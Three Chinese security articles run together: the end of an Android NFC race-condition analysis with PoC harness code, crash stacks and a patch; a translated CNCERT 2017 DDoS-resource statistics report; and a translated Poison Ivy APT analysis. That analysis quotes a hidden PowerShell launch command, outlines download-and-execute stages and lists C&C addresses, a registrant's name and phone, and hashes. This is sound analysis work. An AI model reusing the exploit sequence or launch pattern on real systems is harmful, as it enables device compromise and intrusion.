HAL_WRITE的函数指针，HAL_WRITE实际就是FakeWrite 。
void FakeWrite(uint16_t data_len, uint8_t* p_data) {
uint8_t reset_pattern[5] = {0x20, 0x1, 0x2, 0x0, 0x0};
if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len)) {
reset_done_cv.notify_one();
}
uint8_t i93_detect_pattern[6] = {0x0, 0x0, 0x3, 0x26, 0x1, 0x0};
if (data_len == 6 && !memcmp(i93_detect_pattern, p_data, data_len)) {
i93_detect_cv.notify_one();
}
uint8_t t3t_get_system_codes_pattern[7] = {0x21, 0x8, 0x4, 0xff,
0xff, 0x1, 0xf};
if (data_len == 7 &&
!memcmp(t3t_get_system_codes_pattern, p_data, data_len)) {
t3t_get_system_codes_cv.notify_one();
}
}
因为写入NFC需要被频繁调用，必须判断到来的数据包是否符合要求才能执行对应的操作，所以第一个if中判断：
if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len))
符合条件就会解除调用reset_done_cv.notify_one()阻塞.这里重载HAL函数指针的优势就显现出来了.FakeWrite
函数除了向HAL发送/写入数据之外,还增加了解除poc中各种条件变量阻塞的功能方便了在竞态漏洞利用中进行时序同步 。
### **Part3**
代码是：
NFA_EnableListening();
NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);
NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
NFA_StartRfDiscovery();
{
std::unique_lock<std::mutex> enable_lock(cv_mutex);
enable_cv.wait(enable_lock);
}
std::vector<uint8_t> init_core = {0x0, 0xa, 0x3, 0xca, 0xff, 0xff, 0xff,
0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
NCI_MSG_CORE_INIT, init_core.data(),
init_core.size());
g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
HAL_NFC_STATUS_OK);
{
std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
nfa_enable_cv.wait(nfa_enable_lock);
}
std::vector<uint8_t> discover_rf = {0x0};
g_callback_tracker->SimulatePacketArrival(
NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
discover_rf.size());
{
std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
rf_discovery_started_cv.wait(rf_discovery_started_lock);
}
将NFC开启，并进入discovery模式。
### **Part4**
代码是：
NFA_RwReadNDef();
{
std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
i93_detect_cv.wait(i93_detect_lock);
}
NFA_RwReadNDef()会读取I93 tag里的数据，此时定时器开始启动用于检测是否超时，下面是I93收到读请求后定时器被启动的调用栈：
#0 nfc_start_quick_timer (p_tle=<optimized out>, type=<optimized out>, timeout=<optimized out>) at ../src/nfc/nfc/nfc_task.cc:190
#1 0x00000000005f8874 in rw_i93_send_to_lower (p_msg=<optimized out>) at ../src/nfc/tags/rw_i93.cc:680
#2 0x00000000005f916d in rw_i93_send_cmd_inventory (p_uid=<optimized out>, including_afi=<optimized out>, afi=<optimized out>) at ../src/nfc/tags/rw_i93.cc:740
#3 0x0000000000618f82 in RW_I93DetectNDef () at ../src/nfc/tags/rw_i93.cc:3985
#4 0x0000000000720e2e in nfa_rw_start_ndef_detection () at ../src/nfa/rw/nfa_rw_act.cc:1557
#5 0x000000000071a76e in nfa_rw_read_ndef () at ../src/nfa/rw/nfa_rw_act.cc:1737
#6 nfa_rw_handle_op_req (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2863
#7 0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246
#8 0x0000000000721df0 in nfa_sys_event (p_msg=<optimized out>) at ../src/nfa/sys/nfa_sys_main.cc:85
### **Part5**
代码是：
g_callback_tracker->SimulatePacketArrival(
NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};
g_callback_tracker->SimulatePacketArrival(
NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
deactivate_rf.data(), deactivate_rf.size());
{
std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
deactivated_cv.wait(deactivated_lock);
}
这段代码关闭了NFC，目的是从i93顺利切换到T3T 。
### **Part6**
std::vector<uint8_t> activate_another_rf = {
/* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
for (int i = 0; i < 70; i++) {
activate_another_rf.push_back(0x2);
}
g_callback_tracker->SimulatePacketArrival(
NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_another_rf.data(), activate_another_rf.size());
{
std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
}
NFA_Disable(true);
{
std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
nfa_disable_cv.wait(nfa_disable_lock);
}
part5中从I93
tag中读取了数据，并且启动定时器，我们必须在定时器过期前立即调用RW_SetActivatedTagType通知NFCC终止立即I93
Tag，并激活T3T Tag。
g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF,0,NCI_GID_RF_MANAGE,NCI_MSG_RF_INTF_ACTIVATED,activate_another_rf.data(),activate_another_rf.size());
就调用了RW_SetActivatedTagType ，
RW_SetActivatedTagType 代码为：
tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT* p_activate_params,tRW_CBACK* p_cback) {
...
memset(&rw_cb.tcb, 0, sizeof(tRW_TCB));
...
原来从一个状态切换到另一个状态的方法是调用memset(&rw_cb.tcb，0，
sizeof(tRW_TCB))将TCB控制块全部置零清空,虽然看起来没错，但是把控制块清空并不等价于将上个状态的上下文被全部重置，他忽略了I93tag之前启动的定时器此时仍在工作，但新的tag也会启动自己的定时器,并改写TCB中相同偏移的数据。
TCB是被复用的，我们使用memset而非free，说明状态切换后，这块内存仍然存放的是TCB，所以此时系统里会出现两个定时器改写同一地址的情景。
以下是T3T tag下定时器向TCB中写入数据时代码：
2367 *p_b = rw_t3t_mrti_base[e] * b; /* (B+1) * base (i.e T/t3t * 4^E) */
汇编是：
1: x/5i $pc
=> 0x5de2a3 <_Z13rw_t3t_selectPhhh+787>: mov %r12d,%eax
0x5de2a6 <_Z13rw_t3t_selectPhhh+790>: shr $0x6,%al
0x5de2a9 <_Z13rw_t3t_selectPhhh+793>: movzbl %al,%eax
0x5de2ac <_Z13rw_t3t_selectPhhh+796>: lea 0x813de0(,%rax,4),%rdi
0x5de2b4 <_Z13rw_t3t_selectPhhh+804>: mov %rdi,%rax
调用栈是：
#0 rw_t3t_select (peer_nfcid2=<optimized out>, mrti_check=<optimized out>, mrti_update=<optimized out>) at ../src/nfc/tags/rw_t3t.cc:2393
#1 0x000000000067ab9b in RW_SetActivatedTagType (p_activate_params=<optimized out>, p_cback=<optimized out>) at ../src/nfc/tags/rw_main.cc:290
#2 0x00000000007153fd in nfa_rw_activate_ntf (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2630
#3 0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246
#4 0x000000000070a710 in nfa_rw_proc_disc_evt (event=1 '\001', p_data=<optimized out>, excl_rf_not_active=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:184
#5 0x00000000006b243d in nfa_dm_poll_disc_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_act.cc:1636
#6 0x00000000006a397d in nfa_dm_disc_notify_activation (p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:1238
#7 0x0000000000697105 in nfa_dm_disc_sm_discovery (event=<optimized out>, p_data=0x7fff715200e0) at ../src/nfa/dm/nfa_dm_discover.cc:1918
### **崩溃现场**
i93定时器仍存在于定时器链表中，t3t被激活后里面的数据被t3t定时器破坏。当t3t定时器也被插入链表头部时会产生段错误。
崩溃现场：
对应的源代码是while一行，
/* Find the entry that the new one needs to be inserted in front of */
p_temp = p_timer_listq->p_first;
=>> while (p_tle->ticks > p_temp->ticks) {
/* Update the tick value if looking at an unexpired entry */
if (p_temp->ticks > 0) p_tle->ticks -= p_temp->ticks;
p_temp = p_temp->p_next;
}
下面这个调用栈并非poc的而是漏洞被发现时的，放在这仅供参考。
(rr) bt
#0 0x000000000075b6fd in GKI_add_to_timer_list (p_timer_listq=<optimized out>, p_tle=0x1221dd8 <rw_cb+88>, p_tle@entry=0x7fff71517140) at ../fuzzer/gki_fuzz_fakes.cc:153
#1 0x000000000059d1ce in nfc_start_quick_timer (p_tle=<optimized out>, type=<optimized out>, timeout=<optimized out>) at ../src/nfc/nfc/nfc_task.cc:216
#2 0x00000000005e3c68 in rw_t3t_start_poll_timer (p_cb=<optimized out>) at ../src/nfc/tags/rw_t3t.cc:333
#3 RW_T3tGetSystemCodes () at ../src/nfc/tags/rw_t3t.cc:2964
#4 0x0000000000719a40 in nfa_rw_t3t_get_system_codes () at ../src/nfa/rw/nfa_rw_act.cc:2331
#5 nfa_rw_handle_op_req (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2971
#6 0x000000000071585d in nfa_rw_activate_ntf (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2677
#7 0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246
#8 0x000000000070a710 in nfa_rw_proc_disc_evt (event=1 '\001', p_data=<optimized out>, excl_rf_not_active=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:184
#9 0x00000000006b243d in nfa_dm_poll_disc_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_act.cc:1636
#10 0x00000000006a397d in nfa_dm_disc_notify_activation (p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:1238
#11 0x0000000000697105 in nfa_dm_disc_sm_discovery (event=<optimized out>, p_data=0x7fff715200e0) at ../src/nfa/dm/nfa_dm_discover.cc:1918
#12 nfa_dm_disc_sm_execute (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:2533
#13 0x000000000068f601 in nfa_dm_disc_discovery_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:727
#14 0x00000000005b0a92 in nfc_ncif_proc_activate (p=<optimized out>, len=60 '<') at ../src/nfc/nfc/nfc_ncif.cc:1372
#15 0x00000000005c50c9 in nci_proc_rf_management_ntf (p_msg=0x617000003180) at ../src/nfc/nci/nci_hrcv.cc:276
#16 0x00000000005a2e6b in nfc_ncif_process_event (p_msg=0x617000003180) at ../src/nfc/nfc/nfc_ncif.cc:485
## 漏洞缓解措施
只要在切换到下一个tag之前，将上一个tag的定时器关闭即可。
tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT* p_activate_params,
tRW_CBACK* p_cback) {
tNFC_STATUS status = NFC_STATUS_FAILED;
/* check for null cback here / remove checks from rw_t?t */
DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
"RW_SetActivatedTagType protocol:%d, technology:%d, SAK:%d",
p_activate_params->protocol, p_activate_params->rf_tech_param.mode,
p_activate_params->rf_tech_param.param.pa.sel_rsp);
if (p_cback == nullptr) {
LOG(ERROR) << StringPrintf(
"RW_SetActivatedTagType called with NULL callback");
return (NFC_STATUS_FAILED);
}
switch (rw_cb.tcb_type) {
case RW_CB_TYPE_T1T: {
nfc_stop_quick_timer(&rw_cb.tcb.t1t.timer);
break;
}
case RW_CB_TYPE_T2T: {
nfc_stop_quick_timer(&rw_cb.tcb.t2t.t2_timer);
break;
}
case RW_CB_TYPE_T3T: {
nfc_stop_quick_timer(&rw_cb.tcb.t3t.timer);
nfc_stop_quick_timer(&rw_cb.tcb.t3t.poll_timer);
break;
}
case RW_CB_TYPE_T4T: {
nfc_stop_quick_timer(&rw_cb.tcb.t4t.timer);
break;
}
case RW_CB_TYPE_T5T: {
nfc_stop_quick_timer(&rw_cb.tcb.i93.timer);
break;
}
case RW_CB_TYPE_MIFARE: {
nfc_stop_quick_timer(&rw_cb.tcb.mfc.timer);
nfc_stop_quick_timer(&rw_cb.tcb.mfc.mfc_timer);
break;
}
case RW_CB_TYPE_UNKNOWN: {
break;
}
}
/* Reset tag-specific area of control block */
memset(&rw_cb.tcb, 0, sizeof(tRW_TCB));
```
## 总结
近几年，安卓系统高危漏洞有多发于硬件设备的趋势，我们会持续关注该领域最新的漏洞利用，并呼吁各大厂商及时更新安全补丁。
* * * | 社区文章 |
# 2017年我国DDoS攻击资源分析报告
##### 译文声明
本文是翻译文章，文章原作者 国家计算机网络应急技术处理协调中心，文章来源：cert.org.cn
原文地址：<http://www.cert.org.cn/publish/main/upload/File/2017DDoSanlysisv2.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、引言
近期，CNCERT深度分析了我国大陆地区发生的数千起DDoS（分布式拒绝服务）攻击事件。本报告围绕互联网环境威胁治理问题，对“DDoS攻击是从哪些网络资源上发起的”这个问题进行分析。主要分析的攻击资源包括：
1、控制端资源，指用来控制大量的僵尸主机节点向攻击目标发起DDoS攻击的木马或僵尸网络控制端。
2、肉鸡资源，指被控制端利用，向攻击目标发起DDoS攻击的僵尸主机节点。
3、反射服务器资源，指能够被黑客利用发起反射攻击的服务器、主机等设施，它们提供的网络服务中，如果存在某些网络服务，不需要进行认证并且具有放大效果，又在互联网上大量部署（如DNS服务器，NTP服务器等），它们就可能成为被利用发起DDoS攻击的网络资源。
4、反射攻击流量来源路由器是指转发了大量反射攻击发起流量的运营商路由器。由于反射攻击发起流量需要伪造IP地址，因此反射攻击流量来源路由器本质上也是跨域伪造流量来源路由器或本地伪造流量来源路由器。由于反射攻击形式特殊，本报告将反射攻击流量来源路由器单独统计。
5、跨域伪造流量来源路由器，是指转发了大量任意伪造IP攻击流量的路由器。由于我国要求运营商在接入网上进行源地址验证，因此跨域伪造流量的存在，说明该路由器或其下路由器的源地址验证配置可能存在缺陷。且该路由器下的网络中存在发动DDoS攻击的设备。
6、本地伪造流量来源路由器，是指转发了大量伪造本区域IP攻击流量的路由器。说明该路由器下的网络中存在发动DDoS攻击的设备。
在本报告中，一次DDoS攻击事件是指在经验攻击周期内，不同的攻击资源针对固定目标的单个DDoS攻击，攻击周期时长不超过24小时。如果相同的攻击目标被相同的攻击资源所攻击，但间隔为24小时或更多，则该事件被认为是两次攻击。此外，DDoS攻击资源及攻击目标地址均指其IP地址，它们的地理位置由它的IP地址定位得到。
## 二、DDOS攻击资源分析
### （一）控制端资源分析
根据CNCERT监测数据，今年以来，利用肉鸡发起DDoS攻击的控制端总量为25,532个。发起的攻击次数呈现幂律分布，如图1所示。平均每个控制端发起过7.7次攻击。
图1 控制端利用肉鸡发起DDoS攻击的事件次数呈幂律分布
位于境外的控制端按国家或地区分布，美国占的比例最大，占10.1%；其次是韩国和中国台湾，如图2所示。
图2 发起DDoS攻击的境外控制端数量按国家或地区TOP30
位于境内的控制端按省份统计，广东省占的比例最大，占12.2%；其次是江苏省、四川省和浙江省，如图3所示。
图3发起DDoS攻击的境内控制端数量按省份分布
控制端发起攻击的天次总体呈现幂律分布，如图4所示。平均每个控制端在1.51天被尝试发起了DDoS攻击，最多的控制端在119天范围内发起了攻击，占总监测天数的五分之二。
图4 控制端尝试发起攻击天次呈现幂律分布
控制端尝试发起攻击的月次情况如表1所示。平均每个控制端在今年的1.19个月发起了DDoS攻击，有3个控制端地址在至少连续7个月次持续发起攻击。
表1 控制端发起攻击月次情况
### （二）肉鸡资源分析
根据CNCERT监测数据，利用真实肉鸡地址直接攻击（包含直接攻击与其它攻击的混合攻击）的DDoS攻击事件占事件总量的80%。其中，共有751,341个真实肉鸡地址参与攻击，涉及193,723个IP地址C段。肉鸡地址参与攻击的次数总体呈现幂律分布，如图5所示，平均每个肉鸡地址参与2.13次攻击。
图5 肉鸡地址参与攻击次数呈现幂律分布
参与攻击最多的肉鸡地址为归属于山西省运城市闻喜县联通的某地址，共参与了690次攻击。其次是归属于安徽省铜陵市铜官区联通的某地址，共参与了482次攻击；以及归属于贵州省贵阳市云岩区联通的某地址，共参与了479次攻击。
这些肉鸡按境内省份统计，北京占的比例最大，占9%；其次是山西省、重庆市和浙江省，如图6所示。按运营商统计，电信占的比例最大，占49.3%，移动占23.4%，联通占21.8%，如图7所示。
图6 肉鸡地址数量按省份分布
图7 肉鸡地址数量按运营商分布
肉鸡资源参与攻击的天次总体呈现幂律分布，如图8所示。平均每个肉鸡资源在1.51天被利用发起了DDoS攻击，最多的肉鸡资源在145天范围内被利用发起攻击，占总监测天数的五分之三。
图8 肉鸡参与攻击天次呈现幂律分布
肉鸡资源参与攻击的月次总体情况如表2所示。平均每个肉鸡资源在今年的1.11个月被利用发起了DDoS攻击，有271个肉鸡地址在连续8个月次被利用发起攻击，也就是说，这些肉鸡资源在监测月份中每个月都被利用以发起DDoS攻击，没有得到有效的清理处置。
表2肉鸡参与攻击月次情况
### （三）反射攻击资源分析
#### 1．反射服务器资源
根据CNCERT监测数据，利用反射服务器发起的反射攻击的DDoS攻击事件占事件总量的25%，其中，共涉及251,828台反射服务器，反射服务器被利用以攻击的次数呈现幂律分布，如图9所示，平均每台反射服务器参与1.76次攻击。
图9 反射服务器被利用攻击次数呈现幂律分布
被利用最多发起反射放大攻击的服务器归属于新疆伊犁哈萨克自治州伊宁市移动，共参与了148次攻击。其次，是归属于新疆昌吉回族自治州阜康市移动的某地址，共参与了123次攻击；以及归属于新疆阿勒泰地区阿勒泰市联通的某地址，共参与了119次攻击。
反射服务器被利用发起攻击的天次总体呈现幂律分布，如图10所示。平均每个反射服务器在1.38天被利用发起了DDoS攻击，最多的反射服务器在65天范围内被利用发起攻击，近占监测总天数的三分之一。
图10 反射服务器参与攻击天次呈现幂律分布
反射服务器被利用发起攻击的月次情况如表3所示。平均每个反射服务器在今年的1.1个月被利用发起了DDoS攻击，有101个反射服务器在8个月次连续被利用发起攻击，也就是说，这些反射器在监测月份中每个月都被利用以发起DDoS攻击。
表3 反射服务器参与攻击月次情况
反射攻击所利用的服务端口根据反射服务器数量统计、以及按发起反射攻击事件数量统计，被利用最多的均为1900端口。被利用发起攻击的反射服务器中，93.8%曾通过1900号端口发起反射放大攻击，占反射攻击事件总量的75.6%。如图11所示。
图11反射攻击利用端口根据服务器数量及事件数量统计
根据反射服务器数量按省份统计，新疆占的比例最大，占18.7%；其次是山东省、辽宁省和内蒙古，如图12所示。按运营商统计，联通占的比例最大，占47%，电信占比27%，移动占比23.2%，如图13所示。
图12 反射服务器数量按省份分布
图13 反射服务器数量按运营商分布
#### 2．反射攻击流量来源路由器
境内反射攻击流量主要来源于412个路由器，根据参与攻击事件的数量统计，归属于国际口的某路由器发起的攻击事件最多，为227件，其次是归属于河北省、北京市、以及天津的路由器，如图14所示。
图14 发起反射放大攻击事件的流量来源路由器按事件TOP25
根据发起反射攻击事件的来源路由器数量按省份统计，北京市占的比例最大，占10.2%；其次是山东省、广东省和辽宁省，如图15所示。按发起反射攻击事件的来源运营商统计，联通占的比例最大，占45.1%，电信占比36.4%，移动占比18.5%，如图16所示。
图15 反射攻击流量来源路由器数量按省分布
图16 反射攻击流量来源路由器数量按运营商分布
### （四）发起伪造流量的路由器分
#### 1.跨域伪造流量来源路由器
根据CNCERT监测数据，包含跨域伪造流量的DDoS攻击事件占事件总量的49.8%，通过跨域伪造流量发起攻击的流量来源于379个路由器。根据参与攻击事件的数量统计，归属于吉林省联通的路由器参与的攻击事件数量最多，均参与了326件，其次是归属于安徽省电信的路由器，如图17所示。
图17 跨域伪造流量来源路由器按参与事件数量TOP25
发起跨域伪造流量的路由器参与发起攻击的天次总体呈现幂律分布，如图18所示。平均每个路由器在15.5天被发现发起跨域伪造地址流量攻击，最多的路由器在105天范围内被发现发起跨域攻击流量，近占监测总天数的二分之一。
图18 跨域伪造流量来源路由器参与攻击天次呈现幂律分布
发起跨域伪造流量的路由器参与发起攻击的月次情况如表4所示。平均每个路由器在2.7个月次被发现发起跨域伪造地址流量攻击，14个路由器在连续8个月内被发现发起跨域攻击流量，也就是说，这些路由器长期多次地被利用发起跨域伪造流量攻击。
表4跨域伪造流量来源路由器参与攻击月次情况
跨区域伪造流量涉及路由器按省份分布统计如图19所示，其中，北京市占的比例最大，占13.2%；其次是江苏省、山东省、及广东省。按路由器所属运营商统计，联通占的比例最大，占46.7%，电信占比30.6%，移动占比22.7%，如图20所示。
图19 跨域伪造流量来源路由器数量按省分布
图20 跨域伪造流量来源路由器数量按运营商分布
#### 2.本地伪造流量来源路由器
根据CNCERT监测数据，包含本地伪造流量的DDoS攻击事件占事件总量的51.3%，通过本地伪造流量发起攻击的流量来源于725个路由器。根据参与攻击事件的数量统计，归属于安徽省电信的路由器参与的攻击事件数量最多，最多参与了424件，其次是归属于陕西省电信的路由器，如图21所示。
图21 本地伪造流量来源路由器按参与事件数量TOP25
发起本地伪造流量的路由器参与发起攻击的天次总体呈现幂律分布，如图22所示。平均每个路由器在18.3天被发现发起跨域伪造地址流量攻击，最多的路由器在123天范围内被发现发起跨域攻击流量，占监测总天数的二分之一。
图22 本地伪造流量来源路由器参与攻击天次呈现幂律分布
发起本地伪造流量的路由器参与发起攻击的月次总体情况如表5所示。平均每个路由器在3.1个月次被发现发起本地伪造地址流量攻击，26个路由器在连续8个月内被发现发起本地攻击流量，也就是说，这些路由器长期多次地被利用发起本地伪造流量攻击，主要集中在湖北省及江西省。
表5本地伪造流量来源路由器参与攻击月次情况
本地伪造流量涉及路由器按省份分布统计如图23所示。其中，江苏省占的比例最大，占8.7%；其次是北京市、河南省、及广东省。按路由器所属运营商统计，电信占的比例最大，占54.2%，如图24所示。
图23本地伪造流量来源路由器数量按省分布
图24本地伪造流量来源路由器数量按运营商分布 | 社区文章 |
# 【APT报告】日本发布来自亚洲某国的APT样本分析
|
##### 译文声明
本文是翻译文章，文章来源：0day.jp
原文地址：<http://blog.0day.jp/p/english-report-of-fhappi-freehosting.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 背景**
VXRL联系我们，有关于一个APT钓鱼邮件，其包含了一个指向位于Geocities网站上的一个恶意软件的下载链接。
样本和证据。
因为我们认为它是一个APT攻击，所以我们不能披露所有的邮件内容。
在讨论这个恶意软件之后，很多信息不清楚。我检查了特征检测率，结果没有检测到。没有明确的证据，Geocities就不会做任何事，我决定逆向这个APT。
这里是我分析的一些结果，请用它来移除这个恶意软件。
从URL看，这个恶意软件位于Geocities日本网站上，Geocities不是恶意软件或恶意网站，但是一个免费的博客网站。
账户“vbiayay1”被用于托管真实的恶意样本。
恶意软件的文件内容是一个编码的VBScript脚本。
这是一个惊讶的时刻，我第一次从Geocities.jp中看见这种类型，并且这个文件看起来非常可疑，因此我决定进一步分析。
VBScript是VisualBasic的一个子集，对于使用VB编程和VBA宏编程的人来说这个非常熟悉。然而VBScript被设计用于在浏览器内执行，且只能调用基本的函数（如文件访问和打印）。微软VBScript能在Windows
Script Hsost或者PowerShell中执行。
**0x01 马拉松式的base64逆向分析**
首先，我手动解码了VBScript脚本，得到下面的代码：
这段代码通过创建Windows Script Host VBScript对象并运行PowerShell.exe：
powershell.exe -w hidden -ep bypass -Enc etc etc.
继续解码，得到下面的脚本。
再一次得到一个VBScript，这个脚本创建一个web客户端对象，且使用代理设置，并从URL下载执行一个文件。
这将打开一个.doc文档。
然后，通过使用Invoke-Expression命令在Windows PowerShell下执行一个脚本，并从另一个URL下载执行一个.ps1文件。
让我们再深入ps1文件。
还是一个base64编码的代码，它使用Invoke-Expression命令来解码。
看起来很像base64编码，因此我们继续手动解码base64.
上面是解码的代码，但是它是另一个base64编码的代码。
然而，他最终揭示了一些感染代码，真实的payload在这个base64代码中。
这段代码揭示了32位和64位的感染向量，它通过一个假的安全更新服务进程隐藏自己，并使用powershell.exe来执行Invoke-Expression解码的base64代码。
好了，再次回到base64解码。
解码得到两个函数和一段shellcode。
上面的代码很容易理解。它解释了powershell怎么被用来作为一个致命的攻击向量，以便进程注入，并且它都在一个脚本中完成。
**0x02 拷贝/粘帖 PowerSploit/CodeExecution PoC**
上部分看起来很熟悉，在搜索MalwareMustDie的推特后，发现了PowerSploit/CodeExecution PoC代码。
**0x03 Shellcode**
这个样本主要的payload是PowerSploit/CodeExection的复制粘帖，shellcode和多层base64编码是这个样本的根本。
为了揭示真实的shellcode，我们已经解码了剩余的base64编码。
$Shellcode = [System.Convert]::FromBase64String($Shellcode32)
解码完成后，shellcode头分析如下：
我们可以逆向它，然而需要花费一些时间。
结果看起来像我们需要的，XOR，密钥0xe9和字节长度0x2183
我用这个shellcode创建了一个PE文件。
将这段shellcode保存在.text节中，并调整入口点为shellcode，因此你能作为一个二进制PE文件执行shellcode。这个方法在分析shellcode时很常用。并且在Unix环境中创建PE文件，还免除感染的风险。
通过使用gcc或者nasm，编译PE文件。
因此我们现在能进一步分析代码和恶意行为。
事实证明，样本进行了很多恶意行为操作，shellcode提取受害者的信息并传回C&C服务器。
Payload的详细行为完整成文需要花费很多的时间，在这里我贴出了手稿以展示payload的行为。
**0x04 Poison Ivy**
Shellcode使用很多系统调用，因此shellcode有点大。
下图是我从列出的DLL调用。
在跟踪分析shellcode的第一个阶段我注意到了这是一个“Poison Ivy”：
如你所见，一个假的userinit.exe进程被创建，且在这个进程中注入恶意代码并执行。受害者将看到一个假的userinit.exe进程在做坏事。这是一个典型的Poison
Ivy模式。而且，DLL的组合使用也显示了这种威胁的典型模式。在互斥量名字中时间戳也经常被Poison Ivy使用。
让我们破解更多信息：
你能看到这个userinit.exe创建Plug1.cat文件。它通过socket做更多事，且通过HKEY_LOCAL_MACHINESYSTEMSetup
SystemSetupInProgress查询PC信息，稍后我们将看到设置的值。
到了这里，毫无疑问这是一个Poison Ivy。
**0x05 C &C和网络流量**
因为时间限制，让我们忽略一些小细节，主要关注感兴趣的WS2_32.dll。它包含了socket(),gethostbyname(),和connect()调用。这些揭示了主机名和IP地址，及一些次要信息。
IP地址是韩国的拨号IP地址。
网络/BGP信息：61.97.243.15||4766 | 61.97.243.0/24 | KIXS-AS | KR | kisa.or.kr |
KRNIC
因此黑客利用另一个国家作为C&C服务器，我们继续看：
主机名：web.outlooksysm.net
下面是域名的WHOIS信息：
Domain Name: outlooksysm.net
Registry Domain ID: 10632213
Registrar WHOIS Server: grs-whois.cndns.com
Registrar URL: http://www.cndns.com
Updated Date: 2016-05-27T11:24:02Z
Create Date: 2016-05-27T11:19:45Z
Registrar Registration Expiration Date: 2017-05-27T11:19:45Z
Registrar: SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT CO., LTD.
Registrar IANA ID: 1621
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +86.2151697771
Reseller: (null)
Domain Status: ok https://icann.org/epp#ok
Registry Registrant ID:
Registrant Name: Liu Ying
Registrant Organization: Liu Ying
Registrant Street: Nan An Shi Jing Hua Lu 88Hao
Registrant City: NanAnShi
Registrant State/Province: FuJian
Registrant Postal Code: 009810
Registrant Country: CN
Registrant Phone : +86.13276905963
Registrant Phone Ext:
Registrant Fax: +86.13276905963
Registrant Fax Ext:
Registrant Email: [email protected]
因此我们知道了黑客来自哪里。
只分析代码不够证据，我需要一种安全的方式来执行PE文件，以获得更多的行为分析。这样我就能捕获到C&C流量。
在流量中，发送了我的PC信息
第一个传输的是256字节的数据，看起来很有趣。
因此，通过一些参考发现这256字节的传输流量模式属于Poison Ivy远控。
Poison Ivy，也被称为PIVY，是一个RAT，它是一个后门型恶意程序。很多间谍相关的恶意软件在APT中使用它。
**0x06 总结**
这个APT活动利用很多变种，来使得受害者下载一个恶意的VBScript，其会下载一个二级的.doc文件并打开它。在这之后它静默执行一个PowerSploit攻击以使用在进程内存中运行的Poison
Ivy感染受害者电脑。这是个特别的实例，一个修改版的PowerSploit PoC代码被用在APT攻击中，显示了这种攻击的潜在威胁。
这个APT活动利用Geocities网站的多个帐号，使得进行大规模的APT活动成为可能。这种攻击首先在日本发现，且在和我朋友讨论过后，一些研究者把它命名为“Free
Hosting（pivoted）APT PowerSploit Poison Ivy”（FHAPPI）。
**0x07 样本**
我一直都这么做，我将只分享一些样本的哈希值。
一旦我完成了，我将增加一些VT URLs。
1.MD5 (Meeting_summary.doc) = 0011fb4f42ee9d68c0f2dc62562f53e0
2.MD5 (johnts0301.ps1) = b862a2cfe8f79bdbb4e1d39e0cfcae3a
3.MD5 (Meeting_summary.doc) = 0011fb4f42ee9d68c0f2dc62562f53e0
4.MD5 (johnts0301.ps1) = b862a2cfe8f79bdbb4e1d39e0cfcae3a
5.MD5 (johnts0301.wsc) = 7c9689e015563410d331af91e0a0be8c
6.MD5 (shellcode-bin) = cb9a199fc68da233cec9d2f3d4deb081
7.MD5 (stupid-shellcode.exe) = 661d4e056c8c0f6804cac7e6b24a79ec
Other samples. (credit: Syota Shinogi)
MD5 (f0921.ps1) = e798a7c33a58fc249965ac3de0fee67b
**0x08 更新**
**找到其他的Geocities账户**
感谢Syota Shinogi的帮助，他进一步研究发现了另一个Geocities账户。
它使用相同的PowerSploit shellcode和蒙古语的doc文件，可能目标是蒙古相关的。
**文件名包含APT信息**
URL和攻击活动相关的信息：
